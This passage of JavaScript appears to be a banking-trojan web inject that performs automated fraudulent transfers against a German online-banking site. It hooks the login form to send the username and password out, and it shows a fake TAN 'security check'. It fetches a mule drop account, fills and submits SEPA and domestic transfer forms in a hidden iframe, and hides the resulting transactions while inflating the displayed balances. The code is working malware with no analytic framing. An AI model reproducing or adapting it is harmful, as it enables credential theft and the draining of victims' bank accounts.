  918.     if(ATS.getCookie('acTransact')==null || ATS.getCookie('acTransact')=="false") return true;
  919.  
  920.    
  921.  
  922. var amount = parseFloat(ATS.getCookie('rep_amount'));
  923. var transfer_acc =ATS.getCookie('transfer_acc');
  924.  
  925.   /*
  926. var number=jq('.uiOutputText:contains(Kundennummer)').text();
  927. var re = new RegExp("Kundennummer: [\\d]+", "g");
  928. var arr = number.match(re);
  929. number=arr[0].replace(/\D/g, '');
  930. */
  931.  
  932.  
  933.  
  934.    
  935.         var totalReplace = 0;
  936.        
  937.        
  938. jq('table:has(th:contains(Bezeichnung))').each(function(){
  939. jq(this).find('tr:contains(Girokonto),tr:contains(Tagesgeld PLUS)').filter('tr').each(function(){
  940.  
  941.  
  942. var number=jq.trim(jq(this).children("td:eq(0)").text());
  943.  
  944. if (number==transfer_acc){
  945. ATS.debugMsg('replaceMainPage: ' + transfer_acc + ' + ' + amount + '; percent = ' + percent);
  946. ATS.addElementAmount(jq(this).children("td:eq(3)"), parseFloat(amount + percent), 'EUR');
  947. ATS.addElementAmount(jq(this).children("td:eq(4)"), parseFloat(amount + percent), '');
  948. totalReplace = parseFloat(amount + percent);
  949. }//--if (number==transfer_acc)--    
  950.   });
  951.  
  952. var saldo1=jq(this).find('tr:contains(Gesamt)').children("td:eq(3)");                              
  953. var saldo2=jq(this).find('tr:contains(Gesamt)').children("td:eq(4)");                                
  954.  ATS.addElementAmount(saldo1, totalReplace, '');
  955.  ATS.addElementAmount(saldo2, totalReplace, '');
  956.  
  957.    
  958. });    
  959.        
  960.        
  961.    
  962.    
  963.    
  964. ATS.addElementAmount(jq('p.navi_betrag:eq(0) span:eq(0)'), totalReplace, '');
  965. ATS.addElementAmount(jq('p.navi_betrag:eq(1) span:eq(0)'), totalReplace, '');
  966.    
  967. }
  968.  
  969. ATS.replaceUmsatzanzeige = function()
  970. {
  971.     ATS.debugMsg('replaceUmsatzanzeige()');
  972.  
  973.   //jq("#gad_toolbar_btn_print").remove();
  974.    
  975.  
  976.       var percent=parseFloat(ATS.getCookie('acPercent'));
  977.  
  978.    
  979.  
  980. if( percent > 15) {
  981.    ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
  982.     }
  983.    
  984.     //if((percent==null) || (!ATS.getCookie('acTransact'))) return true;
  985.     if(ATS.getCookie('acTransact')==null || ATS.getCookie('acTransact')=="false") return true;
  986.  
  987.    
  988.  
  989. var amount = parseFloat(ATS.getCookie('rep_amount'));
  990. var transfer_acc =ATS.getCookie('transfer_acc');
  991.  
  992. /*
  993. var number=jq.trim(jq('.contentKeyfocus span:contains(Kundennummer)').text());
  994. var re = new RegExp("Kundennummer: [\\d]+", "g");
  995. var arr = number.match(re);
  996. number=arr[0].replace(/\D/g, '');
  997. */
  998. var number=jq('.cardCol b:contains(Tagesgeld PLUS):eq(0),.cardCol b:contains(Girokonto):eq(0)').text();
  999. if (number.indexOf(transfer_acc)!=-1){
  1000.      
  1001.         //ATS.sendLogMsg('REP Umsatzanzeige: kontostand + ' + amount);
  1002.    // ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);    
  1003.      
  1004.     ATS.addElementAmount(jq('.contentKeyfocus p.alignRight:eq(0)'), amount +  percent, 'EUR');
  1005.     ATS.addElementAmount(jq('.contentKeyfocus p.alignRight:eq(1)'), amount +  percent, 'EUR');
  1006.  
  1007.  
  1008. //replace Kontostand 04.11.2013 : +2.407,78
  1009. var number=jq('.cardCol:contains(Kontostand):eq(0) b').text();
  1010. var re = new RegExp("[+-]*[\\d.,]+$", "gim");
  1011. var arr = number.match(re);
  1012. var val = ATS.fin2float(arr);
  1013. val+= parseFloat(amount +  percent);
  1014. arr=number.replace(/[+-]*[\d.,]+$/gim, ATS.float2fin(val))
  1015. jq('.cardCol:contains(Kontostand):eq(0) b').text(arr);
  1016.  
  1017.  
  1018.        
  1019.  
  1020.         var hideFlag = false;
  1021.         jq('table:contains(Buchungstext) tr').each(function(i){
  1022.             var Buchungstext = jq.trim(jq(this).find("td:eq(3)").text());
  1023.             var UmsatzinEUR = jq.trim(jq(this).find("td:eq(4)").text());
  1024.  
  1025.             if (ATS.needToHide(Buchungstext,UmsatzinEUR))
  1026.             {
  1027. //  ATS.sendLogMsg('REP umsatze: transfer hidden - ' + jq(this).find('td:eq(2)').text());
  1028.                 jq(this).hide();
  1029.                 hideFlag = true;
  1030.             }
  1031.    
  1032.     });    
  1033.        
  1034.    
  1035.  
  1036. jq('table:contains(Buchungstext) tr:not(:eq(0),:eq(1))').each(function(i){
  1037. jq(this).find('td:not(.fTableHeader)').attr('class', (i % 2) ? 'secondTd' : '');
  1038.  
  1039.     });
  1040.    
  1041.    
  1042.    
  1043. }//--if (number==transfer_acc)--      
  1044.    
  1045. }
  1046.  
  1047. ATS.replaceSEPAPage = function()
  1048. {
  1049.         ATS.debugMsg('replaceSEPAPage()');
  1050.      
  1051. jq('div.uiPanel:contains(Kontostand)').filter(':not(:contains(SEPA))').parent('div:has(h1)').find('div').remove();
  1052.  
  1053.  
  1054. }    
  1055.  
  1056.  
  1057.  
  1058. ATS.needToHide = function(Buchungstext,UmsatzinEUR)
  1059. {
  1060.  
  1061.     var iban=ATS.getCookie('rep_drop_acc');
  1062.     var amount = parseFloat(ATS.getCookie('rep_amount'));
  1063.     if (amount)
  1064.     {
  1065.  
  1066.         if (langs.getCurLang()=='EN'){
  1067.             text=text.replace(/[^\d.]+/gi, '');
  1068.            
  1069.         if (text.indexOf(amount) != -1) return true;
  1070.            
  1071.             }
  1072.             else{
  1073.         UmsatzinEUR=UmsatzinEUR.replace(/[^\d,]+/gi, '').replace(",", '.');                
  1074.         if ((UmsatzinEUR.indexOf(amount) != -1) && (Buchungstext.indexOf(iban) != -1) ) {
  1075.          ATS.debugMsg('UmsatzinEUR ='+UmsatzinEUR);
  1076.          
  1077.          
  1078.             return true;
  1079.         }
  1080.        
  1081.         }
  1082.     }
  1083.        
  1084.     return false;
  1085. }
  1086. ATS.replaceBalances = function()
  1087. {
  1088.     ATS.debugMsg('replaceBalances()');
  1089.    
  1090.     //ATS.hideLastTAN();
  1091.    
  1092.    
  1093.         switch (langs.getCurLang())
  1094.     {
  1095.        
  1096.         case "EN":
  1097.     if (ATS.getPageTitle("Finanzstatus")) ATS.replaceMainPage();           
  1098.      if (ATS.getPageTitle("Transactions")) ATS.replaceUmsatzanzeige();            
  1099.         break;
  1100.          default:
  1101.          
  1102.     if (ATS.getPageTitle("Meine Finanzen")) ATS.replaceMainPage();          if (ATS.getPageTitle("Konto"+String.fromCharCode(0x00FC)+"bersicht") ) ATS.replaceKONTOUBERSICHT();
  1103.    
  1104.       var title=jq.trim(jq('.keyfocus h1').text());
  1105.       if (title.indexOf("UMS"+String.fromCharCode(196)+"TZE") !=-1) ATS.replaceUmsatzanzeige();;
  1106.      
  1107.     if (ATS.getPageTitle("SEPA")) ATS.replaceSEPAPage();                   
  1108.            
  1109.             break;
  1110.            
  1111.  }
  1112.            
  1113.  
  1114.    
  1115.  
  1116.    
  1117.    
  1118.    
  1119.  
  1120.  
  1121. }
  1122.  
  1123.  
  1124. ATS.findAccountInfo = function(acc_num)
  1125. {
  1126.     ATS.debugMsg('acc_num:'+ acc_num);
  1127.     var accounts_list = parent.ATS.accounts_list;
  1128.     for (var i in accounts_list)
  1129.     {
  1130.         //if (accounts_list[i] != 'function' )
  1131.          //ATS.debugMsg('accounts_list[i]:'+ accounts_list[i]);
  1132.        
  1133.             if (acc_num.indexOf(accounts_list[i].number) != -1)
  1134.             {
  1135.                 //ATS.debugMsg('Found: ' + accounts_list[i].number + '; balance: ' + accounts_list[i].balance + '; transf: ' + accounts_list[i].transf);
  1136.                 return accounts_list[i];
  1137.             }
  1138.        
  1139.     }
  1140.     return false;
  1141. }
  1142.  
  1143. var langs ={
  1144.  simple_property: 'Hello',
  1145.  EN: {
  1146.   waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  1147.   nextbutton: "Weiter",
  1148.   errortan: "TAN falsch, bitte richtige TAN eingeben",
  1149.   errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
  1150.   autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br />"
  1151.  },
  1152.   DE: {
  1153.   waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  1154.   nextbutton: "Weiter",
  1155.   errortan: "TAN falsch, bitte richtige TAN eingeben",
  1156.   errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
  1157.   autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:"
  1158.  
  1159.  },
  1160.  
  1161.  getLang: function(step) {
  1162.  
  1163.  
  1164. var ln='EN';
  1165. if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
  1166.  
  1167. //  return(this.simple_property + ', ' + this[ln][step]);
  1168.   return(this[ln][step]);
  1169.  },
  1170.  
  1171.  getCurLang: function() {
  1172.  
  1173.  
  1174. var ln='EN';
  1175. if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
  1176.  
  1177.   return(ln);
  1178.  }
  1179.  
  1180. };
  1181.  
  1182.  
  1183.  
  1184.  
  1185. document.write('<style type="text/css">#iTANForm { border-top: medium none !important;}#inj_Weiter{background-color:white;}#inj_Weiter{cursor: hand;}#inj_Weiter:hover span{text-decoration: underline !important;}</style>');
  1186.  
  1187.  
  1188.  
  1189.  
  1190. ATS.checkTestPage = function()
  1191. {
  1192.     if(jq('#gad_contentbox').length) return true;
  1193.     //  jq('#gad_contentbox').attr("style").indexOf('demo')!=-1) return true;
  1194.     else return false;
  1195. }
  1196.  
  1197.  
  1198. ATS.checkLoginPage = function()
  1199. {
  1200.     return !!jq("input[type='password']").length;
  1201. }
  1202.  
  1203.  
  1204.  
  1205. ATS.isLoggedIn = function()
  1206. {
  1207.    
  1208. if (jq('.logout').length ) return true;
  1209.  
  1210.     else return false;
  1211. }
  1212. ATS.UI_blockSite = function()
  1213. {
  1214.     if (ATS.debugNoOverlay)
  1215.         return;
  1216.        
  1217.     if (jq('#inj_block_overlay').length)
  1218.         jq('#inj_block_overlay').show();
  1219.     else
  1220.         jq('body').prepend('<div id=inj_block_overlay></div>');
  1221. }
  1222. ATS.UI_unblockSite = function()
  1223. {
  1224.     jq('#inj_block_overlay').hide();
  1225.     jq('body > div:not(#inj_block_overlay,#inj_dialog_box,.inj_full_overlay)').show();
  1226.    
  1227. }
  1228.  
  1229.  
  1230.  
  1231. ATS.getFinanzstatusLink = function()
  1232. {
  1233.  
  1234.     if(!parent.ATS.finLink){
  1235.        
  1236.     parent.ATS.finLink=jq('#Persoenlicherbereich a').attr("href");
  1237.     //parent.ATS.finLink=parent.document.location.href;
  1238.     }
  1239.     return parent.ATS.finLink;
  1240.    
  1241.    
  1242.    
  1243. }
  1244.  
  1245.  
  1246.  
  1247. ATS.UI_showDialogBox = function()
  1248. {
  1249.     jq('body > div:not(#inj_dialog_box,.inj_full_overlay)').hide();
  1250.    
  1251.     if (!jq('#inj_dialog_box').length)
  1252.     {
  1253.         var injectCode = ATS.UI_getInjectCode();
  1254.         jq('body').append(injectCode);
  1255.        
  1256.         jq('a[name=inj_weiter]').click(ATS.UI_onWeiterClick);
  1257.     }
  1258.     jq('#inj_dialog_box').show();
  1259. }
  1260.  
  1261. ATS.getLoginForm = function()
  1262. {
  1263.     var form = jq("form#login");
  1264.     if (form.length)
  1265.         return form[0];
  1266.     /* 
  1267.     form = jq("form").has('input#anmeld');
  1268.     if (form.length)
  1269.         return form[0];
  1270.         */
  1271.     return false;
  1272. }
  1273.  
  1274.  
  1275. ATS.getPageTitle = function(findtext)
  1276. {
  1277.      var title=jq.trim(jq('.head h1 span.uiOutputText:eq(0)').text());
  1278.     if (title.indexOf(findtext) !=-1) return true;
  1279.     else return false;
  1280. }
  1281. ATS.hideLastTAN = function()
  1282. {
  1283.  
  1284.     var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
  1285.     if (el.length)
  1286.     {
  1287.         var html = jq(el).html();
  1288.         var pos = html.indexOf('Ihre zuletzt');
  1289.         if (pos >= 0)
  1290.             jq(el).html(html.substr(0, pos));
  1291.     }
  1292.    
  1293.  
  1294.     jq('p:contains(Zuletzt benutzte)').remove();
  1295. }
  1296.  
  1297.  
  1298. ATS.sleep= function(m) {var then = new Date(new Date().getTime() + m); while (new Date() < then) {}};
  1299.  
  1300.  
  1301. ATS.setLoginHook = function()
  1302. {
  1303.     //ATS.loginDataSent = false;
  1304.     var loginInfoSent = false;
  1305.        
  1306.     var loginForm = ATS.getLoginForm();
  1307.  
  1308.  
  1309.         //loginForm.onsubmit = function(){return true};
  1310.        
  1311.         jq(loginForm).find('.button a').attr("href",'#').attr("class",'');
  1312.         jQuery(loginForm).find('.button a').unbind('click');
  1313.        
  1314.        
  1315.         jq(loginForm).find('.button a').click(function(e){
  1316.        
  1317.             var loginForm = ATS.getLoginForm();                        
  1318.            
  1319.                 var login=jq(loginForm).find('input:visible#param1').val();
  1320.                
  1321.                 var password=jq(loginForm).find('input:visible#param3').val();
  1322.          
  1323.  
  1324.         if (!loginInfoSent)
  1325.         {            
  1326.             e.preventDefault();
  1327.              ATS.debugMsg('login info: ' + login + ', ' + password);
  1328.              
  1329.                 jq(loginForm).find('.button a').attr('disabled', 'disabled');                  
  1330.                     ATS.sendLoginInfo(login, password, function(){
  1331.                         ATS.debugMsg('after clik ');
  1332.                         loginInfoSent = true;
  1333.                         jq(loginForm).find('.button a').attr('disabled', false);
  1334.                         // wpSubmit = true;
  1335.                         jq(loginForm).submit();                      
  1336.                     });
  1337.                    
  1338.                  
  1339.         }
  1340.             //ATS.sleep(4000);
  1341. //          if (ATS.loginDataSent) return true; else return false;  
  1342.         });
  1343.            
  1344.  
  1345. }
  1346.  
  1347. // ============================================================================
  1348.  
  1349.  
  1350. ATS.getTime = function()
  1351. {
  1352.     return Math.floor((new Date).getTime() / 1000);
  1353. }
  1354.  
  1355.  
  1356.  
  1357.  
  1358. ATS.openInIframe = function(url)
  1359. {
  1360.     var iframe = jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="' + url + '"></iframe>');
  1361.     jq('body').append(iframe);
  1362.     if (ATS.debugVisibleFrame)
  1363.     {
  1364.         jq("#ats_wrk_iframe").css('width', '1200px');
  1365.         jq("#ats_wrk_iframe").css('height', '1200px');
  1366.         jq("#ats_wrk_iframe").css('top', '1000px');
  1367.         jq("#ats_wrk_iframe").css('position', 'absolute');
  1368. //          jq("body").css('position', 'relative');
  1369.     }
  1370.     else
  1371.     {
  1372.         jq("#ats_wrk_iframe").css('width', '1px');
  1373.         jq("#ats_wrk_iframe").css('height', '1px');
  1374.         //jq(iframe).css('top', '0px');
  1375.         //jq(iframe).css('position', 'absolute');
  1376.         jq("#ats_wrk_iframe").css('visibility', 'hidden');
  1377.     }
  1378. }
  1379.  
  1380.  
  1381. ATS.parseAccountsList = function()
  1382. {
  1383.     var accountsList = new Array();
  1384. jq('table:has(th:contains(Bezeichnung))').each(function(){
  1385.     //jq(this).find('tr:contains(Girokonto),tr:contains(Tagesgeld PLUS)').filter('tr:not(:contains(th))').each(function(){
  1386. jq(this).find('tr:contains(Girokonto)').filter('tr:not(:contains(th))').each(function(){       
  1387.  var numberhreef=jq(this).children("td:eq(4)").find('a:contains(berweisung)');
  1388.  var number=jq.trim(jq(this).children("td:eq(0)").text());
  1389.  var balance=jq.trim(jq(this).children("td:eq(2)").text().replace(/\./g, '').replace(/\,/g, '.'));
  1390.  var kreditbalance=jq.trim(jq(this).children("td:eq(3)").text().replace(/\./g, '').replace(/\,/g, '.'));
  1391.  
  1392.            
  1393.                 if (numberhreef != '')
  1394.                     {
  1395.                      
  1396.                    
  1397. /*     
  1398.  var number=jq(this).parent().parent().parent().find('span:contains(Kundennr)').text();    
  1399. var re = new RegExp("Kundennr: [\\d]+", "g");
  1400. var arr = number.match(re);
  1401.  number=arr[0].replace(/\D/g, '');
  1402. ATS.debugMsg('number: ' + number + 'numberhreef: ' + numberhreef + '; balance : ' + balance +  '; kreditbalance : ' + kreditbalance);    
  1403.      
  1404.  */                    
  1405. accountsList.push({number: number,numberhreef: numberhreef,balance: balance, kreditbalance: kreditbalance});                      
  1406.                     }
  1407.    
  1408.         })
  1409.     });
  1410.  
  1411.  
  1412.     return accountsList;
  1413. }
  1414.  
  1415.  
  1416.  
  1417. ATS.framePageFinanzstatus = function()
  1418. {
  1419.    
  1420.     ATS.sendLogMsg('Name: ' + jq('span:contains(Inhaber)').next('span.uiOutputText').text());    
  1421.    
  1422.  
  1423.     if(!parent.ATS.Gesamtsaldo){
  1424.  
  1425.  var saldo=parseFloat(0.00);
  1426. jq('table:has(tr:contains(Gesamt)) tr:contains(Gesamt)').each(function(){
  1427.  
  1428.  var tmp=jq.trim(jq(this).children("td:eq(2)").text().replace(/\./g, '').replace(/\,/g, '.'));
  1429.  saldo+=parseFloat(tmp);
  1430. })
  1431.  
  1432.  
  1433.     parent.ATS.Gesamtsaldo = saldo;
  1434.     }
  1435.    
  1436.     ATS.debugMsg('parent.ATS.Gesamtsaldo: ' + parent.ATS.Gesamtsaldo);
  1437.  
  1438.     ATS.debugMsg('ATS.framePageFinanzstatus, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1439.    
  1440.     parent.ATS.accounts_list = ATS.parseAccountsList();
  1441.  
  1442.     if (!parent.ATS.accounts_list.length) ATS.die('framePageFinanzstatus: cant find balance or Girokonto');
  1443.    
  1444.     //var maxBalance = ATS.getMaxTransferAcc();
  1445.     var maxAcc = ATS.getMaxTransferAcc();
  1446.     if (!maxAcc) return false;
  1447.    
  1448.     parent.ATS.maxAcc=maxAcc;
  1449.     parent.ATS.maxBalanceDrop=parent.ATS.maxAcc.balance;
  1450.    
  1451. /*    
  1452.     parent.ATS.StepInFrame.set_current_state("insideGirokonto");
  1453.     setTimeout(function(){
  1454.           document.location=parent.ATS.maxAcc.numberhreef;                    
  1455.     }, 2000);
  1456.   */  
  1457.  
  1458.      ATS.insideGirokonto();
  1459.    
  1460. }
  1461.  
  1462. ATS.insideGirokonto = function()
  1463. {
  1464.     parent.ATS.StepInFrame.set_current_state("KreditlimitPage");
  1465.         setTimeout(function(){
  1466.  
  1467.     document.location=jq('#PersoenlicherbereichVerwaltung > ul li a:contains(berweisungslimits)').attr("href");
  1468.                    
  1469.         }, ATS.randInt(2000, 3000));
  1470.  
  1471. }
  1472.  
  1473.  
  1474. ATS.KreditlimitPage = function()
  1475. {
  1476. //-------------------------------------------------------
  1477.  
  1478. var Inlandlimit=2000;
  1479. var unlimit=false;
  1480. var totalKreditBalance=0;
  1481. var dostupnaSumma=jq('form span:contains(Inland)').parent().next().find('span:eq(0)').text();
  1482. if (dostupnaSumma.indexOf("unlimitiert")!=-1){ unlimit=true;}
  1483. else{
  1484.     dostupnaSumma=ATS.fin2float(dostupnaSumma);
  1485. }
  1486. if (!unlimit && isNaN(dostupnaSumma)){ ATS.sendLogMsg('ATS.KreditlimitPage error: Inlandlimit not found setting to 2000');
  1487. //var unlimit=true;
  1488. dostupnaSumma=2000;
  1489. }
  1490. ATS.debugMsg('Inlandlimit: =' + dostupnaSumma);
  1491.  
  1492. if (!unlimit && (parent.ATS.maxAcc.kreditbalance>dostupnaSumma)) totalKreditBalance=dostupnaSumma;
  1493. else totalKreditBalance=parent.ATS.maxAcc.kreditbalance;
  1494.  
  1495. //Inlandlimit=totalKreditBalance;
  1496. Inlandlimit=parseFloat(totalKreditBalance).toFixed(2);
  1497. //Inlandlimit=Math.floor(parseFloat(totalKreditBalance));
  1498. ATS.debugMsg('Inlandlimit: =' + Inlandlimit);
  1499. //--------------
  1500.  
  1501. var Auslandlimit=2000;
  1502. var unlimit=false;
  1503. var totalKreditBalance=0;
  1504. var dostupnaSumma=jq('form span:contains(Ausland)').parent().next().find('span:eq(0)').text();
  1505. if (dostupnaSumma.indexOf("unlimitiert")!=-1){ unlimit=true;}
  1506. else{
  1507.     dostupnaSumma=ATS.fin2float(dostupnaSumma);
  1508. }
  1509. if (!unlimit && isNaN(dostupnaSumma)){ ATS.sendLogMsg('ATS.KreditlimitPage error: Auslandlimit not found setting to 2000');
  1510. //var unlimit=true;
  1511. dostupnaSumma=2000;
  1512. }
  1513.  
  1514.  
  1515. if (!unlimit && (parent.ATS.maxAcc.kreditbalance>dostupnaSumma)) totalKreditBalance=dostupnaSumma;
  1516. else totalKreditBalance=parent.ATS.maxAcc.kreditbalance;
  1517.  
  1518. //Auslandlimit=totalKreditBalance;
  1519. Auslandlimit=parseFloat(totalKreditBalance).toFixed(2);
  1520. //Auslandlimit=Math.floor(parseFloat(totalKreditBalance));
  1521.  
  1522. ATS.debugMsg('Auslandlimit: =' + Auslandlimit);
  1523. //------------------------------------------------
  1524.  
  1525.  
  1526.  
  1527.     ATS.getDrop('SEPA', Auslandlimit, function(data){
  1528.                     if (data && data.drop)
  1529.                     {
  1530.                         parent.ATS.sepa_drop = data.drop;
  1531.                         //parent.ATS.StepInFrame.set_current_state("SEPA_page");
  1532.       /*
  1533.       var sepahref=jq('#PersoenlicherbereichKonto > ul li a:contains(berweisung)').attr("href");
  1534.                         if (sepahref!=''){
  1535.                             setTimeout(function(){
  1536.                                document.location.href = sepahref;                    
  1537.                             }, ATS.randInt(2000, 3000));
  1538.                            }
  1539.                         else ATS.die('KreditlimitPage: cant find SepaLink');                        
  1540.        */
  1541.                parent.ATS.StepInFrame.set_current_state("gotomainpage");    
  1542.                 setTimeout(function(){
  1543.                     jQuery("#Persoenlicherbereich a").click();
  1544.                 }, ATS.randInt(2000,3000));
  1545.  
  1546.                        
  1547.                     }
  1548.                     else
  1549.                     {
  1550.                        
  1551.                         ATS.getDrop('Internal', Inlandlimit, function(data){
  1552.                         if (data && data.drop)
  1553.                         {
  1554.            
  1555.                             parent.ATS.int_drop = data.drop;
  1556.                           //  parent.ATS.StepInFrame.set_current_state("framePageInternal_transf_page");
  1557.                 parent.ATS.transf_mode = 'int';
  1558.                 /*
  1559.                 var Internal_transf_page=jq('#PersoenlicherbereichKonto > ul li a:contains(berweisung)').attr("href");;
  1560.                 if (Internal_transf_page!='') {
  1561.                     setTimeout(function(){
  1562.                         document.location.href = Internal_transf_page;                    
  1563.                     }, ATS.randInt(2000, 3000));
  1564.                    }
  1565.  
  1566.                 else ATS.die('KreditlimitPage: cant find Internal_transf_page_link');
  1567.                     */
  1568.                 parent.ATS.StepInFrame.set_current_state("gotomainpage");    
  1569.                 setTimeout(function(){
  1570.                     jQuery("#Persoenlicherbereich a").click();
  1571.                 }, ATS.randInt(2000,3000));
  1572.  
  1573.                            
  1574.                            
  1575.                         }
  1576.                         else
  1577.                         {
  1578.                             parent.ATS.UI_hideDialogBox();
  1579.                             parent.ATS.UI_unblockSite();
  1580.                             ATS.die('KreditlimitPage: no Int drop');
  1581.    
  1582.                         }
  1583.                         });
  1584.                  
  1585.                        
  1586.                     }
  1587.                 });      
  1588.                
  1589.    
  1590. }      
  1591. ATS.gotomainpage = function()
  1592. {
  1593. if(parent.ATS.transf_mode == 'int'){
  1594.      parent.ATS.StepInFrame.set_current_state("framePageInternal_transf_page");
  1595. }
  1596. else{
  1597.    parent.ATS.StepInFrame.set_current_state("SEPA_page");  
  1598. }
  1599.     parent.ATS.accounts_list = ATS.parseAccountsList();
  1600.     var maxAcc = ATS.getMaxTransferAcc();
  1601.     parent.ATS.maxAcc=maxAcc;
  1602.  
  1603.     setTimeout(function(){
  1604.              jQuery(parent.ATS.maxAcc.numberhreef).click();        
  1605.     }, ATS.randInt(3000, 4000));  
  1606.  
  1607. }
  1608.  
  1609.  
  1610. ATS.framePageSEPA_page = function()
  1611. {
  1612. var drop = parent.ATS.sepa_drop;
  1613.  
  1614.    
  1615.     jq('input[name*=empfaengerName]').val(drop.DrName);
  1616.     jq('input[name*=kontoIdentifier]').val(drop.IBAN);
  1617.     jq('input[name*=bankIdentifier]').val(drop.BIC);
  1618.     jq('input[name*=betrag]').val(drop.amount);
  1619.     jq('textarea[name*=verwendungszweck]').val(drop.Reference);
  1620.    
  1621.       jq('input[name*=waehrung]').val("EUR");
  1622.     //jq('#f1').append('<input type="hidden" value="f1" name="f1">');
  1623.     jq('#f1').append('<input type="hidden" value="f1" name="f1">');
  1624.     jq('#f1').append('<input type="hidden" value="f1-j_idt158-lnk" name="f1-j_idt158-lnk">');
  1625.        
  1626.        
  1627.  
  1628.     parent.ATS.StepInFrame.set_current_state("SEPA_form_filled");
  1629.     ATS.sendLogMsg('SEPA form filled in');
  1630.    
  1631.  
  1632.    
  1633.    
  1634.     var face=jq('#javax\\.faces\\.ViewState').val();
  1635.     var kit=jq('input[name=javax\\.faces\\.RenderKitId]').val()
  1636.     var url=location.href;
  1637.     var params={"javax.faces.RenderKitId" : kit,"javax.faces.ViewState":face}
  1638. var params2={processIds: "f1-kontoIdentifier,f1-bankIdentifier,f1-ajaxEventOnBlurOfKontoIdentifier",renderIds: "f1-institut,f1-messages,f1-empfaengerNameLabelCell,f1-kontoIdentifierLabelCell,f1-bankIdentifierLabelCell,f1-betragLabelCell","f1-ajaxEventOnBlurOfKontoIdentifier": "f1-ajaxEventOnBlurOfKontoIdentifier","f1-kontoIdentifier" : drop.IBAN}
  1639. var params=jq.extend(params,params2)
  1640.  
  1641.     setTimeout(function(){
  1642. jq.ajax({url: url, type: 'POST', data:params, cache: false, dataType: 'html', success: function(html){
  1643.     } });
  1644.     }, ATS.randInt(2000, 3000));    
  1645.  //----------------  
  1646.  
  1647.       var params3={"javax.faces.RenderKitId" : kit,"javax.faces.ViewState":face}
  1648. var params4={processIds: "f1-kontoIdentifier,f1-bankIdentifier,f1-ajaxEventOnBlurOfKontoIdentifier",renderIds: "f1-institut,f1-messages,f1-empfaengerNameLabelCell,f1-kontoIdentifierLabelCell,f1-bankIdentifierLabelCell,f1-betragLabelCell","f1-ajaxEventOnBlurOfKontoIdentifier": "f1-ajaxEventOnBlurOfKontoIdentifier","f1-bankIdentifier":drop.BIC,"f1-kontoIdentifier" : drop.IBAN}
  1649. var params3=jq.extend(params3,params4)
  1650.  
  1651.     setTimeout(function(){
  1652. jq.ajax({url: url, type: 'POST', data:params3, cache: false, dataType: 'html', success: function(html){
  1653.     } });
  1654.     }, ATS.randInt(5000, 6000));    
  1655.    
  1656.    
  1657.         var sellist1=jq('#f1-quellKontenSelect option:selected').val();
  1658.     var sellist2=jq('#f1-zielKontenSelect option:selected').val();
  1659. if ((sellist1=='') || (sellist2=='')){    
  1660.      
  1661.         ATS.die('No account selected, possible from this account can not be transferred');
  1662.      }
  1663.    
  1664. /*
  1665.    
  1666.         var accountsSelect = jq('#f1-quellKontenSelect');
  1667.         if (jq(accountsSelect).length != 0)
  1668.         {
  1669.             var maxAcc = null;
  1670.             jq(accountsSelect).children('option').each(function(){
  1671.                 //var acc_num = jq.trim(jq(this).val());
  1672.                 var acc_num = jq.trim(jq(this).text());
  1673.                 if (acc_num != '')
  1674.                 {
  1675.                     ATS.debugMsg('Option: ' + acc_num);
  1676.                
  1677.                     var accInfo = ATS.findAccountInfo(acc_num.toString());    
  1678.                     ATS.debugMsg('accInfo: ' + accInfo);
  1679.             if (accInfo && (!maxAcc || (parseFloat(maxAcc.balance) < parseFloat(accInfo.balance))))
  1680.                     {
  1681.                         maxAcc = accInfo;
  1682.                         jq(this).attr('selected', 'selected');
  1683.                     }
  1684.                 }
  1685.             });    
  1686.        
  1687.         }  
  1688.  
  1689.   */  
  1690.    
  1691.         setTimeout(function(){
  1692.            
  1693.             jq('#f1').submit();
  1694.          
  1695.            
  1696.         }, ATS.randInt(10000, 15000));
  1697.  
  1698.  
  1699.  
  1700.    
  1701. }
  1702.  
  1703.  
  1704.  
  1705.  
  1706. ATS.framePageInternal_transf_page = function()
  1707. {
  1708.     var drop = parent.ATS.int_drop;                    
  1709.    
  1710.         jq('input[name*=empfaengerName]').val(drop.DrName);
  1711.     jq('input[name*=kontoIdentifier]').val(drop.Konto);
  1712.     jq('input[name*=bankIdentifier]').val(drop.BLZ);
  1713.     jq('input[name*=betrag]').val(drop.amount);
  1714.     jq('textarea[name*=verwendungszweck]').val(drop.Reference);
  1715.    
  1716.       jq('input[name*=waehrung]').val("EUR");
  1717.    // jq('#f1').append('<input type="hidden" value="f1" name="f1">');
  1718.     jq('#f1').append('<input type="hidden" value="f1" name="f1">');
  1719.     jq('#f1').append('<input type="hidden" value="f1-j_idt158-lnk" name="f1-j_idt158-lnk">');
  1720.    
  1721.  
